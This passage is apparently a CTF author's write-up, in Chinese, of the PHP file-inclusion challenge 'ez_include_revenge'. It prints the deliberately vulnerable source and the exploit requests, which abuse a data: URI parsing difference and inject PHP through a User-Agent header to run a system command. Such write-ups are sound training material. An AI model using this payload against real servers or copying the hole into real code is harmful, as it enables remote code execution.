← 返回首页

ez_include_revenge:文件包含的绕道

2025-11-20

ez_include_revenge(玄武杯2025)

2025玄武杯出题记录

<?php
stream_wrapper_unregister('php');

if(!isset($_GET['no_hl'])) highlight_file(__FILE__);

$mkdir = function($dir) {
    system('mkdir -- '.escapeshellarg($dir));
};
$randFolder = bin2hex(random_bytes(16));
$mkdir('users/'.$randFolder);
chdir('users/'.$randFolder);

$userFolder = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']);
$userFolder = basename(str_replace(['.','-'],['',''],$userFolder));

$mkdir($userFolder);
chdir($userFolder);
file_put_contents('profile',print_r($_SERVER,true));
chdir('..');
$_GET['page']=str_replace('.','',$_GET['page']);
if(!stripos(file_get_contents($_GET['page']),'<?') && !stripos(file_get_contents($_GET['page']),'php')) {
    if (preg_match('/f.*l.*a.*g/i', $_GET['page'])) {
        echo "这次不会让你得逞了!";
    }else{
        include($_GET['page']);
    }
}else{
    echo "再想想?";
}

chdir(__DIR__);
system('rm -rf users/'.$randFolder);

?>

核心漏洞:协议解析差异

file_get_contents vs include 对data协议的不同处理:

函数 支持格式 对data:,a/profile的处理
file_get_contents RFC 2397格式 解析为data URI,返回内容"a/profile"
include 严格的protocol://格式 无法识别,回退到文件系统查找

利用链

  1. 控制目录名 → 通过X-Forwarded-For头
  2. 注入恶意代码 → 通过User-Agent头
  3. 绕过安全检查 → 利用协议解析差异
  4. 执行代码 → include加载实际文件

攻击步骤

第一步:创建恶意文件

GET / HTTP/1.1
Host: target
X-Forwarded-For: data:,a
User-Agent: <?php system('cat /flag');?>

第二步:触发文件包含

GET /?page=data:,a/profile HTTP/1.1
Host: target
X-Forwarded-For: data:,a

第三步:绕过机制

关键技术点

1. 目录名控制

$userFolder = str_replace(['.','-'], ['',''], $_SERVER['HTTP_X_FORWARDED_FOR']);

2. 内容注入

file_put_contents('profile', print_r($_SERVER, true));

3. 路径解析差异